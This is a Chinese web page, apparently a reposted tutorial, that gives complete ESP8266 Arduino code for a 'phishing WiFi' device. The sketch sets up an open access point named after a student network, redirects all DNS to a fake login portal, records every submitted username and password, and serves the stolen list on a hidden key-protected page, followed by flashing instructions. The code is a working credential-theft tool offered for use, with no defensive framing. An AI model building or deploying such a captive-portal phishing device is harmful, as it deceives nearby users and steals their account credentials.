時(shí)間:2023-07-22 01:33:01 | 來源:網(wǎng)站運(yùn)營
時(shí)間:2023-07-22 01:33:01 來源:網(wǎng)站運(yùn)營
近源滲透,超低成本打造自定義專屬釣魚WIFI:Arduino 1.8.13及以上軟件配置
http://arduino.esp8266.com/stable/package_esp8266com_index.jsonhttps://raw.githubusercontent.com/SpacehuhnTech/arduino/main/package_spacehuhn_index.json
#include <ESP8266WiFi.h>#include <DNSServer.h>#include <ESP8266WebServer.h>#include <WiFiClient.h>#include <FS.h>// DNS默認(rèn)端口,無需修改const byte DNS_PORT = 53;// WIFI名稱const char *ssid = "HUBU-STUDENT-PRO";// AP的IP地址(即網(wǎng)關(guān)地址)IPAddress apIP(192, 168, 1, 1);// 查看存儲(chǔ)密碼的密碼String ppassword = "t123061";DNSServer dnsServer;ESP8266WebServer webServer(80);// 存儲(chǔ)賬號(hào)密碼String data = "";// 認(rèn)證頁面String responseHTML = "<html><head><meta http-equiv=/"refresh/" content=/"1;URL='http://192.168.1.1/index.html'/"></head></html>";// 登錄失敗頁面String responseHTML_error = "<html><head><meta http-equiv=/"refresh/" content=/"5;URL='http://192.168.1.1/index.html'/"><h3>沒有找到符合條件的策略,5秒后返回</h3></head></html>";String getContentType(String filename){ if(webServer.hasArg("download")) return "application/octet-stream"; else if(filename.endsWith(".htm")) return "text/html"; else if(filename.endsWith(".html")) return "text/html"; else if(filename.endsWith(".css")) return "text/css"; else if(filename.endsWith(".js")) return "application/javascript"; else if(filename.endsWith(".png")) return "image/png"; else if(filename.endsWith(".gif")) return "image/gif"; else if(filename.endsWith(".jpg")) return "image/jpeg"; else if(filename.endsWith(".ico")) return "image/x-icon"; else if(filename.endsWith(".xml")) return "text/xml"; else if(filename.endsWith(".pdf")) return "application/x-pdf"; else if(filename.endsWith(".zip")) return "application/x-zip"; else if(filename.endsWith(".gz")) return "application/x-gzip"; return "text/plain";}// 查看存儲(chǔ)的賬號(hào)和密碼void paw(){ if(webServer.arg("key")==ppassword){ webServer.send(200, "text/plain", data); }else{ webServer.send(200, "text/html", responseHTML); }}// 記錄從釣魚界面?zhèn)鬟^來的賬號(hào)和密碼void pass(){ if(webServer.arg("user") != "" && webServer.arg("pass") != ""){ data += "username:"; data += webServer.arg("user"); data += "----password:"; data += webServer.arg("pass"); data += "/r/n"; webServer.send(200, "text/html", responseHTML_error); }}void background() { File file = SPIFFS.open("/background.jpg", "r"); size_t sent = webServer.streamFile(file, "image/jpeg"); file.close(); return;} void bootstrap() { File file = SPIFFS.open("/bootstrap.css", "r"); size_t sent = webServer.streamFile(file, "text/css"); file.close(); return;} void logo_r() { File file = SPIFFS.open("/logo.png", "r"); size_t sent = webServer.streamFile(file, "image/png"); file.close(); return;} void favicon() { File file = SPIFFS.open("/favicon.ico", "r"); size_t sent = webServer.streamFile(file, "image/x-icon"); file.close(); return;} void main_r() { File file = SPIFFS.open("/main.css", "r"); size_t sent = webServer.streamFile(file, "text/css"); file.close(); return;} void middle_r() { File file = SPIFFS.open("/middle.png", "r"); size_t sent = webServer.streamFile(file, "image/png"); file.close(); return;} void uname_r() { File file = SPIFFS.open("/uname.png", "r"); size_t sent = webServer.streamFile(file, "image/png"); file.close(); return;} void upwd_r() { File file = SPIFFS.open("/upwd.png", "r"); size_t sent = webServer.streamFile(file, "image/png"); file.close(); return;}void index_r(){ File file = SPIFFS.open("/index.html", "r"); size_t sent = webServer.streamFile(file, "text/html"); file.close(); return;}// 首頁void handleRoot() { File file = SPIFFS.open("/index.html", "r"); size_t sent = webServer.streamFile(file, "text/html"); file.close(); return;}void setup() { // WIFI配置 Serial.begin(9600); SPIFFS.begin(); WiFi.mode(WIFI_AP); WiFi.softAPConfig(apIP, apIP, IPAddress(255, 255, 255, 0)); WiFi.softAP(ssid); // DNS配置 dnsServer.start(DNS_PORT, "*", apIP); // 配置404網(wǎng)頁為首頁 webServer.onNotFound([]() { webServer.send(200, "text/html", responseHTML); }); // 配置查看密碼網(wǎng)頁 webServer.on ("/key518", HTTP_GET, paw); webServer.on("/", handleRoot); // 配置登錄接口 webServer.on("/pass", HTTP_GET, pass); webServer.on("/background.jpg", background); webServer.on("/bootstrap.css", bootstrap); webServer.on("/logo.png", logo_r); webServer.on("favicon.ico", favicon); webServer.on("/main.css", main_r); webServer.on("/middle.png", middle_r); webServer.on("/uname.png", uname_r); webServer.on("/upwd.png", upwd_r); webServer.on("/index.html", index_r); webServer.begin();}void loop() { dnsServer.processNextRequest(); webServer.handleClient();}
保存項(xiàng)目,會(huì)自動(dòng)生成一個(gè)文件夾存儲(chǔ)代碼文件,根據(jù)步驟3配置好開發(fā)板與端口后,點(diǎn)擊編譯上傳,等待上傳成功。關(guān)鍵詞:定義,打造,滲透,成本
客戶&案例
營銷資訊
關(guān)于我們
微信公眾號(hào)
版權(quán)所有? 億企邦 1997-2025 保留一切法律許可權(quán)利。